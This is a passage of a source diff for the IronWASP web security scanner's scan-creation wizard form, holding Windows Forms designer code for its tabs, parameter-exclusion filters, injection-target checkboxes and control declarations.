this.HeadersParametersPlusRB.TabIndex = 57; - this.HeadersParametersPlusRB.Text = "+"; - this.HeadersParametersPlusRB.UseVisualStyleBackColor = true; - this.HeadersParametersPlusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersPlusRB_CheckedChanged); - // - // HeadersParametersMinusRB - // - this.HeadersParametersMinusRB.AutoSize = true; - this.HeadersParametersMinusRB.Checked = true; - this.HeadersParametersMinusRB.Enabled = false; - this.HeadersParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.HeadersParametersMinusRB.Location = new System.Drawing.Point(215, 29); - this.HeadersParametersMinusRB.Name = "HeadersParametersMinusRB"; - this.HeadersParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.HeadersParametersMinusRB.TabIndex = 58; - this.HeadersParametersMinusRB.TabStop = true; - this.HeadersParametersMinusRB.Text = "-"; - this.HeadersParametersMinusRB.UseVisualStyleBackColor = true; - this.HeadersParametersMinusRB.CheckedChanged += new System.EventHandler(this.HeadersParametersMinusRB_CheckedChanged); - // - // groupBox1 - // - this.groupBox1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox1.Controls.Add(this.QueryParametersFilterCB); - this.groupBox1.Controls.Add(this.QueryParametersPlusTB); - this.groupBox1.Controls.Add(this.QueryParametersMinusTB); - this.groupBox1.Controls.Add(this.QueryParametersPlusRB); - this.groupBox1.Controls.Add(this.QueryParametersMinusRB); - this.groupBox1.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox1.Location = new System.Drawing.Point(10, 64); - this.groupBox1.Margin = new System.Windows.Forms.Padding(0); - this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(800, 52); - this.groupBox1.TabIndex = 92; - this.groupBox1.TabStop = false; - // - // QueryParametersFilterCB - // - this.QueryParametersFilterCB.AutoSize = true; - this.QueryParametersFilterCB.Enabled = false; - this.QueryParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.QueryParametersFilterCB.Name = "QueryParametersFilterCB"; - this.QueryParametersFilterCB.Size = new System.Drawing.Size(196, 17); - this.QueryParametersFilterCB.TabIndex = 59; - this.QueryParametersFilterCB.Text = "Don\'t scan these Query Parameters:"; - this.QueryParametersFilterCB.UseVisualStyleBackColor = true; - this.QueryParametersFilterCB.CheckedChanged += new System.EventHandler(this.QueryParametersFilterCB_CheckedChanged); - // - // QueryParametersPlusTB - // - this.QueryParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.QueryParametersPlusTB.Enabled = false; - this.QueryParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.QueryParametersPlusTB.Name = "QueryParametersPlusTB"; - this.QueryParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.QueryParametersPlusTB.TabIndex = 51; - // - // QueryParametersMinusTB - // - this.QueryParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.QueryParametersMinusTB.Enabled = false; - this.QueryParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.QueryParametersMinusTB.Name = "QueryParametersMinusTB"; - this.QueryParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.QueryParametersMinusTB.TabIndex = 52; - // - // QueryParametersPlusRB - // - this.QueryParametersPlusRB.AutoSize = true; - this.QueryParametersPlusRB.Enabled = false; - this.QueryParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.QueryParametersPlusRB.Location = new System.Drawing.Point(215, 9); - this.QueryParametersPlusRB.Name = "QueryParametersPlusRB"; - this.QueryParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.QueryParametersPlusRB.TabIndex = 57; - this.QueryParametersPlusRB.Text = "+"; - this.QueryParametersPlusRB.UseVisualStyleBackColor = true; - this.QueryParametersPlusRB.CheckedChanged += new System.EventHandler(this.QueryParametersPlusRB_CheckedChanged); - // - // QueryParametersMinusRB - // - this.QueryParametersMinusRB.AutoSize = true; - this.QueryParametersMinusRB.Checked = true; - this.QueryParametersMinusRB.Enabled = false; - this.QueryParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.QueryParametersMinusRB.Location = new System.Drawing.Point(215, 28); - this.QueryParametersMinusRB.Name = "QueryParametersMinusRB"; - this.QueryParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.QueryParametersMinusRB.TabIndex = 58; - this.QueryParametersMinusRB.TabStop = true; - this.QueryParametersMinusRB.Text = "-"; - this.QueryParametersMinusRB.UseVisualStyleBackColor = true; - this.QueryParametersMinusRB.CheckedChanged += new System.EventHandler(this.QueryParametersMinusRB_CheckedChanged); - // - // groupBox3 - // - this.groupBox3.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox3.Controls.Add(this.BodyParametersFilterCB); - this.groupBox3.Controls.Add(this.BodyParametersPlusTB); - this.groupBox3.Controls.Add(this.BodyParametersMinusTB); - this.groupBox3.Controls.Add(this.BodyParametersPlusRB); - this.groupBox3.Controls.Add(this.BodyParametersMinusRB); - this.groupBox3.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox3.Location = new System.Drawing.Point(10, 125); - this.groupBox3.Margin = new System.Windows.Forms.Padding(0); - this.groupBox3.Name = "groupBox3"; - this.groupBox3.Size = new System.Drawing.Size(800, 52); - this.groupBox3.TabIndex = 93; - this.groupBox3.TabStop = false; - // - // BodyParametersFilterCB - // - this.BodyParametersFilterCB.AutoSize = true; - this.BodyParametersFilterCB.Enabled = false; - this.BodyParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.BodyParametersFilterCB.Name = "BodyParametersFilterCB"; - this.BodyParametersFilterCB.Size = new System.Drawing.Size(192, 17); - this.BodyParametersFilterCB.TabIndex = 59; - this.BodyParametersFilterCB.Text = "Don\'t scan these Body Parameters:"; - this.BodyParametersFilterCB.UseVisualStyleBackColor = true; - this.BodyParametersFilterCB.CheckedChanged += new System.EventHandler(this.BodyParametersFilterCB_CheckedChanged); - // - // BodyParametersPlusTB - // - this.BodyParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyParametersPlusTB.Enabled = false; - this.BodyParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.BodyParametersPlusTB.Name = "BodyParametersPlusTB"; - this.BodyParametersPlusTB.Size = new System.Drawing.Size(539, 20); - this.BodyParametersPlusTB.TabIndex = 51; - // - // BodyParametersMinusTB - // - this.BodyParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyParametersMinusTB.Enabled = false; - this.BodyParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.BodyParametersMinusTB.Name = "BodyParametersMinusTB"; - this.BodyParametersMinusTB.Size = new System.Drawing.Size(539, 20); - this.BodyParametersMinusTB.TabIndex = 52; - this.BodyParametersMinusTB.Text = "__VIEWSTATE, javax.faces.ViewState"; - // - // BodyParametersPlusRB - // - this.BodyParametersPlusRB.AutoSize = true; - this.BodyParametersPlusRB.Enabled = false; - this.BodyParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BodyParametersPlusRB.Location = new System.Drawing.Point(215, 8); - this.BodyParametersPlusRB.Name = "BodyParametersPlusRB"; - this.BodyParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.BodyParametersPlusRB.TabIndex = 57; - this.BodyParametersPlusRB.Text = "+"; - this.BodyParametersPlusRB.UseVisualStyleBackColor = true; - this.BodyParametersPlusRB.CheckedChanged += new System.EventHandler(this.BodyParametersPlusRB_CheckedChanged); - // - // BodyParametersMinusRB - // - this.BodyParametersMinusRB.AutoSize = true; - this.BodyParametersMinusRB.Checked = true; - this.BodyParametersMinusRB.Enabled = false; - this.BodyParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.BodyParametersMinusRB.Location = new System.Drawing.Point(215, 27); - this.BodyParametersMinusRB.Name = "BodyParametersMinusRB"; - this.BodyParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.BodyParametersMinusRB.TabIndex = 58; - this.BodyParametersMinusRB.TabStop = true; - this.BodyParametersMinusRB.Text = "-"; - this.BodyParametersMinusRB.UseVisualStyleBackColor = true; - this.BodyParametersMinusRB.CheckedChanged += new System.EventHandler(this.BodyParametersMinusRB_CheckedChanged); - // - // groupBox4 - // - this.groupBox4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox4.Controls.Add(this.CookieParametersFilterCB); - this.groupBox4.Controls.Add(this.CookieParametersPlusTB); - this.groupBox4.Controls.Add(this.CookieParametersMinusTB); - this.groupBox4.Controls.Add(this.CookieParametersPlusRB); - this.groupBox4.Controls.Add(this.CookieParametersMinusRB); - this.groupBox4.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox4.Location = new System.Drawing.Point(10, 184); - this.groupBox4.Margin = new System.Windows.Forms.Padding(0); - this.groupBox4.Name = "groupBox4"; - this.groupBox4.Size = new System.Drawing.Size(800, 52); - this.groupBox4.TabIndex = 94; - this.groupBox4.TabStop = false; - // - // CookieParametersFilterCB - // - this.CookieParametersFilterCB.AutoSize = true; - this.CookieParametersFilterCB.Enabled = false; - this.CookieParametersFilterCB.Location = new System.Drawing.Point(8, 20); - this.CookieParametersFilterCB.Name = "CookieParametersFilterCB"; - this.CookieParametersFilterCB.Size = new System.Drawing.Size(201, 17); - this.CookieParametersFilterCB.TabIndex = 59; - this.CookieParametersFilterCB.Text = "Don\'t scan these Cookie Parameters:"; - this.CookieParametersFilterCB.UseVisualStyleBackColor = true; - this.CookieParametersFilterCB.CheckedChanged += new System.EventHandler(this.CookieParametersFilterCB_CheckedChanged); - // - // CookieParametersPlusTB - // - this.CookieParametersPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CookieParametersPlusTB.Enabled = false; - this.CookieParametersPlusTB.Location = new System.Drawing.Point(255, 8); - this.CookieParametersPlusTB.Name = "CookieParametersPlusTB"; - this.CookieParametersPlusTB.Size = new System.Drawing.Size(542, 20); - this.CookieParametersPlusTB.TabIndex = 51; - // - // CookieParametersMinusTB - // - this.CookieParametersMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CookieParametersMinusTB.Enabled = false; - this.CookieParametersMinusTB.Location = new System.Drawing.Point(255, 29); - this.CookieParametersMinusTB.Name = "CookieParametersMinusTB"; - this.CookieParametersMinusTB.Size = new System.Drawing.Size(542, 20); - this.CookieParametersMinusTB.TabIndex = 52; - this.CookieParametersMinusTB.Text = "JSESSIONID, PHPSESSID, ASPSESSIONID, ASP.NET_SessionId"; - // - // CookieParametersPlusRB - // - this.CookieParametersPlusRB.AutoSize = true; - this.CookieParametersPlusRB.Enabled = false; - this.CookieParametersPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CookieParametersPlusRB.Location = new System.Drawing.Point(215, 8); - this.CookieParametersPlusRB.Name = "CookieParametersPlusRB"; - this.CookieParametersPlusRB.Size = new System.Drawing.Size(34, 20); - this.CookieParametersPlusRB.TabIndex = 57; - this.CookieParametersPlusRB.Text = "+"; - this.CookieParametersPlusRB.UseVisualStyleBackColor = true; - this.CookieParametersPlusRB.CheckedChanged += new System.EventHandler(this.CookieParametersPlusRB_CheckedChanged); - // - // CookieParametersMinusRB - // - this.CookieParametersMinusRB.AutoSize = true; - this.CookieParametersMinusRB.Checked = true; - this.CookieParametersMinusRB.Enabled = false; - this.CookieParametersMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.CookieParametersMinusRB.Location = new System.Drawing.Point(215, 27); - this.CookieParametersMinusRB.Name = "CookieParametersMinusRB"; - this.CookieParametersMinusRB.Size = new System.Drawing.Size(31, 20); - this.CookieParametersMinusRB.TabIndex = 58; - this.CookieParametersMinusRB.TabStop = true; - this.CookieParametersMinusRB.Text = "-"; - this.CookieParametersMinusRB.UseVisualStyleBackColor = true; - this.CookieParametersMinusRB.CheckedChanged += new System.EventHandler(this.CookieParametersMinusRB_CheckedChanged); - // - // Five - // - this.Five.Controls.Add(this.PromptUserCB); - this.Five.Controls.Add(this.label20); - this.Five.Controls.Add(this.label8); - this.Five.Controls.Add(this.textBox3); - this.Five.Controls.Add(this.SaveTemplateLL); - this.Five.Controls.Add(this.label19); - this.Five.Controls.Add(this.StepFivePreviousBtn); - this.Five.Controls.Add(this.FinalBtn); - this.Five.Location = new System.Drawing.Point(4, 25); - this.Five.Name = "Five"; - this.Five.Size = new System.Drawing.Size(826, 332); - this.Five.TabIndex = 3; - this.Five.Text = " Done "; - this.Five.UseVisualStyleBackColor = true; - // - // PromptUserCB - // - this.PromptUserCB.AutoSize = true; - this.PromptUserCB.Location = new System.Drawing.Point(17, 64); - this.PromptUserCB.Name = "PromptUserCB"; - this.PromptUserCB.Size = new System.Drawing.Size(223, 17); - this.PromptUserCB.TabIndex = 153; - this.PromptUserCB.Text = "Prompt me for Assistance during the Scan"; - this.PromptUserCB.UseVisualStyleBackColor = true; - // - // label20 - // - this.label20.AutoSize = true; - this.label20.Location = new System.Drawing.Point(14, 38); - this.label20.Name = "label20"; - this.label20.Size = new System.Drawing.Size(573, 13); - this.label20.TabIndex = 152; - this.label20.Text = "You can opt to be prompted for assistance by IronWASP and your input can reduce t" + - "he scan duration by a huge margin."; - // - // label8 - // - this.label8.AutoSize = true; - this.label8.Location = new System.Drawing.Point(14, 21); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(741, 13); - this.label8.TabIndex = 151; - this.label8.Text = "IronWASP will try to decide which requests from the crawled items must be scanned" + - ". You can help this process if you like by providing your input in real-time."; - // - // textBox3 - // - this.textBox3.BackColor = System.Drawing.SystemColors.Control; - this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox3.ForeColor = System.Drawing.Color.Gray; - this.textBox3.Location = new System.Drawing.Point(17, 93); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.ReadOnly = true; - this.textBox3.Size = new System.Drawing.Size(755, 148); - this.textBox3.TabIndex = 150; - this.textBox3.Text = resources.GetString("textBox3.Text"); - // - // SaveTemplateLL - // - this.SaveTemplateLL.AutoSize = true; - this.SaveTemplateLL.Location = new System.Drawing.Point(576, 266); - this.SaveTemplateLL.Name = "SaveTemplateLL"; - this.SaveTemplateLL.Size = new System.Drawing.Size(107, 13); - this.SaveTemplateLL.TabIndex = 149; - this.SaveTemplateLL.TabStop = true; - this.SaveTemplateLL.Text = "Save Scan Template"; - this.SaveTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveTemplateLL_LinkClicked); - // - // label19 - // - this.label19.AutoSize = true; - this.label19.Location = new System.Drawing.Point(14, 266); - this.label19.Name = "label19"; - this.label19.Size = new System.Drawing.Size(556, 13); - this.label19.TabIndex = 148; - this.label19.Text = "If you wish to save to the generic settings you entered so far then you can save " + - "it to a scan template file and reuse it."; - // - // StepFivePreviousBtn - // - this.StepFivePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepFivePreviousBtn.Location = new System.Drawing.Point(7, 301); - this.StepFivePreviousBtn.Name = "StepFivePreviousBtn"; - this.StepFivePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepFivePreviousBtn.TabIndex = 147; - this.StepFivePreviousBtn.Text = "<-Previous Step"; - this.StepFivePreviousBtn.UseVisualStyleBackColor = true; - this.StepFivePreviousBtn.Click += new System.EventHandler(this.StepFivePreviousBtn_Click); - // - // FinalBtn - // - this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FinalBtn.Location = new System.Drawing.Point(713, 302); - this.FinalBtn.Name = "FinalBtn"; - this.FinalBtn.Size = new System.Drawing.Size(105, 23); - this.FinalBtn.TabIndex = 146; - this.FinalBtn.Text = "Start Scan"; - this.FinalBtn.UseVisualStyleBackColor = true; - this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); - // - // SaveTemplateDialog - // - this.SaveTemplateDialog.DefaultExt = "ifst"; - this.SaveTemplateDialog.Filter = "IronWASP Full Scan Template|*.ifst"; - // - // OpenTemplateDialog - // - this.OpenTemplateDialog.DefaultExt = "ifst"; - this.OpenTemplateDialog.Filter = "IronWASP Full Scan Template|*.ifst"; - // - // StartScanWizard - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(834, 361); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(850, 400); - this.MinimumSize = new System.Drawing.Size(850, 400); - this.Name = "StartScanWizard"; - this.Text = "Scan Creation Wizard"; - this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.StartScanWizard_FormClosing); - this.Load += new System.EventHandler(this.StartScanWizard_Load); - this.BaseTabs.ResumeLayout(false); - this.Zero.ResumeLayout(false); - this.Zero.PerformLayout(); - this.One.ResumeLayout(false); - this.One.PerformLayout(); - this.panel1.ResumeLayout(false); - this.panel1.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ConfigCrawlerThreadMaxCountTB)).EndInit(); - this.Two.ResumeLayout(false); - this.Two.PerformLayout(); - this.panel3.ResumeLayout(false); - this.panel3.PerformLayout(); - this.panel2.ResumeLayout(false); - this.panel2.PerformLayout(); - this.Three.ResumeLayout(false); - this.Three.PerformLayout(); - ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); - this.Four.ResumeLayout(false); - this.Four.PerformLayout(); - this.groupBox5.ResumeLayout(false); - this.groupBox5.PerformLayout(); - this.groupBox1.ResumeLayout(false); - this.groupBox1.PerformLayout(); - this.groupBox3.ResumeLayout(false); - this.groupBox3.PerformLayout(); - this.groupBox4.ResumeLayout(false); - this.groupBox4.PerformLayout(); - this.Five.ResumeLayout(false); - this.Five.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage Zero; - private System.Windows.Forms.TabPage One; - private System.Windows.Forms.TabPage Three; - private System.Windows.Forms.TabPage Five; - private System.Windows.Forms.Label Step1StatusLbl; - private System.Windows.Forms.ProgressBar Step1Progress; - private System.Windows.Forms.LinkLabel LoadTemplateLL; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.Button StepZeroNextBtn; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.LinkLabel linkLabel2; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.RadioButton CrawlOnlyRB; - private System.Windows.Forms.RadioButton CrawlAndScanRB; - internal System.Windows.Forms.TextBox ConfigCrawlerUserAgentTB; - private System.Windows.Forms.Label label32; - internal System.Windows.Forms.Label ConfigCrawlerThreadMaxCountLbl; - private System.Windows.Forms.Label label33; - internal System.Windows.Forms.TrackBar ConfigCrawlerThreadMaxCountTB; - private System.Windows.Forms.Button StepOnePreviousBtn; - private System.Windows.Forms.Button StepOneNextBtn; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Panel panel1; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.TextBox SpecialHeaderValueTB; - private System.Windows.Forms.TextBox SpecialHeaderNameTB; - private System.Windows.Forms.CheckBox UseSpecialHeaderCB; - private System.Windows.Forms.TabPage Two; - private System.Windows.Forms.Label label11; - internal System.Windows.Forms.TextBox StartingUrlTB; - private System.Windows.Forms.TextBox ConfigureScanUrlToAvoidTB; - private System.Windows.Forms.Label label12; - internal System.Windows.Forms.TextBox BaseUrlTB; - private System.Windows.Forms.Panel panel3; - private System.Windows.Forms.RadioButton CrossProtoNoRB; - private System.Windows.Forms.RadioButton CrossProtoYesRB; - private System.Windows.Forms.Label CrossProtoQuestionLbl; - private System.Windows.Forms.Panel panel2; - private System.Windows.Forms.RadioButton SubdomainNoRB; - private System.Windows.Forms.RadioButton SubdomainYesRB; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.CheckBox ConfigureScanDirAndFileGuessingCB; - private System.Windows.Forms.Label label13; - private System.Windows.Forms.Button StepTwoPreviousBtn; - private System.Windows.Forms.Button StepTwoNextBtn; - private System.Windows.Forms.Label label14; - private System.Windows.Forms.Label label15; - internal System.Windows.Forms.CheckBox InjectHeadersCB; - internal System.Windows.Forms.CheckBox InjectCookieCB; - internal System.Windows.Forms.CheckBox InjectBodyCB; - internal System.Windows.Forms.CheckBox InjectQueryCB; - internal System.Windows.Forms.CheckBox InjectUrlPathPartsCB; - internal System.Windows.Forms.DataGridView ScanPluginsGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; - private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; - internal System.Windows.Forms.CheckBox InjectNamesCB; - private System.Windows.Forms.Button StepThreePreviousBtn; - private System.Windows.Forms.Button StepThreeNextBtn; - private System.Windows.Forms.Label label16; - private System.Windows.Forms.TabPage Four; - private System.Windows.Forms.Button StepFourPreviousBtn; - private System.Windows.Forms.Button StepFourNextBtn; - private System.Windows.Forms.GroupBox groupBox5; - internal System.Windows.Forms.CheckBox HeadersParametersFilterCB; - internal System.Windows.Forms.TextBox HeadersParametersPlusTB; - internal System.Windows.Forms.TextBox HeadersParametersMinusTB; - internal System.Windows.Forms.RadioButton HeadersParametersPlusRB; - internal System.Windows.Forms.RadioButton HeadersParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox1; - internal System.Windows.Forms.CheckBox QueryParametersFilterCB; - internal System.Windows.Forms.TextBox QueryParametersPlusTB; - internal System.Windows.Forms.TextBox QueryParametersMinusTB; - internal System.Windows.Forms.RadioButton QueryParametersPlusRB; - internal System.Windows.Forms.RadioButton QueryParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox3; - internal System.Windows.Forms.CheckBox BodyParametersFilterCB; - internal System.Windows.Forms.TextBox BodyParametersPlusTB; - internal System.Windows.Forms.TextBox BodyParametersMinusTB; - internal System.Windows.Forms.RadioButton BodyParametersPlusRB; - internal System.Windows.Forms.RadioButton BodyParametersMinusRB; - private System.Windows.Forms.GroupBox groupBox4; - internal System.Windows.Forms.CheckBox CookieParametersFilterCB; - internal System.Windows.Forms.TextBox CookieParametersPlusTB; - internal System.Windows.Forms.TextBox CookieParametersMinusTB; - internal System.Windows.Forms.RadioButton CookieParametersPlusRB; - internal System.Windows.Forms.RadioButton CookieParametersMinusRB; - private System.Windows.Forms.Button StepFivePreviousBtn; - private System.Windows.Forms.Button FinalBtn; - private System.Windows.Forms.Label label17; - private System.Windows.Forms.Label label18; - internal System.Windows.Forms.CheckBox ScanAllPluginsCB; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.LinkLabel SaveTemplateLL; - private System.Windows.Forms.Label label19; - internal System.Windows.Forms.TextBox Step1StatusTB; - internal System.Windows.Forms.TextBox Step2StatusTB; - internal System.Windows.Forms.TextBox Step3StatusTB; - internal System.Windows.Forms.TextBox Step4StatusTB; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.SaveFileDialog SaveTemplateDialog; - private System.Windows.Forms.OpenFileDialog OpenTemplateDialog; - private System.Windows.Forms.Label ScanTemplateNameLbl; - internal System.Windows.Forms.CheckBox PromptUserCB; - private System.Windows.Forms.Label label20; - private System.Windows.Forms.Label label8; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class StartScanWizard + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(StartScanWizard)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.Zero = new System.Windows.Forms.TabPage(); + this.ScanTemplateNameLbl = new System.Windows.Forms.Label(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.label6 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.LoadTemplateLL = new System.Windows.Forms.LinkLabel(); + this.label1 = new System.Windows.Forms.Label(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.StepZeroNextBtn = new System.Windows.Forms.Button(); + this.Step1StatusLbl = new System.Windows.Forms.Label(); + this.Step1Progress = new System.Windows.Forms.ProgressBar(); + this.One = new System.Windows.Forms.TabPage(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.ConfigureScanDirAndFileGuessingCB = new System.Windows.Forms.CheckBox(); + this.label10 = new System.Windows.Forms.Label(); + this.label9 = new System.Windows.Forms.Label(); + this.SpecialHeaderValueTB = new System.Windows.Forms.TextBox(); + this.SpecialHeaderNameTB = new System.Windows.Forms.TextBox(); + this.UseSpecialHeaderCB = new System.Windows.Forms.CheckBox(); + this.panel1 = new System.Windows.Forms.Panel(); + this.CrawlAndScanRB = new System.Windows.Forms.RadioButton(); + this.CrawlOnlyRB = new System.Windows.Forms.RadioButton(); + this.StepOnePreviousBtn = new System.Windows.Forms.Button(); + this.StepOneNextBtn = new System.Windows.Forms.Button(); + this.ConfigCrawlerUserAgentTB = new System.Windows.Forms.TextBox(); + this.label32 = new System.Windows.Forms.Label(); + this.ConfigCrawlerThreadMaxCountLbl = new System.Windows.Forms.Label(); + this.label33 = new System.Windows.Forms.Label(); + this.ConfigCrawlerThreadMaxCountTB = new System.Windows.Forms.TrackBar(); + this.label5 = new System.Windows.Forms.Label(); + this.linkLabel2 = new System.Windows.Forms.LinkLabel(); + this.label4 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.Two = new System.Windows.Forms.TabPage(); + this.Step2StatusTB = new System.Windows.Forms.TextBox(); + this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.StepTwoNextBtn = new System.Windows.Forms.Button(); + this.label14 = new System.Windows.Forms.Label(); + this.label13 = new System.Windows.Forms.Label(); + this.label11 = new System.Windows.Forms.Label(); + this.StartingUrlTB = new System.Windows.Forms.TextBox(); + this.ConfigureScanUrlToAvoidTB = new System.Windows.Forms.TextBox(); + this.label12 = new System.Windows.Forms.Label(); + this.BaseUrlTB = new System.Windows.Forms.TextBox(); + this.panel3 = new System.Windows.Forms.Panel(); + this.CrossProtoNoRB = new System.Windows.Forms.RadioButton(); + this.CrossProtoYesRB = new System.Windows.Forms.RadioButton(); + this.CrossProtoQuestionLbl = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.SubdomainNoRB = new System.Windows.Forms.RadioButton(); + this.SubdomainYesRB = new System.Windows.Forms.RadioButton(); + this.label7 = new System.Windows.Forms.Label(); + this.Three = new System.Windows.Forms.TabPage(); + this.Step3StatusTB = new System.Windows.Forms.TextBox(); + this.ScanAllPluginsCB = new System.Windows.Forms.CheckBox(); + this.StepThreePreviousBtn = new 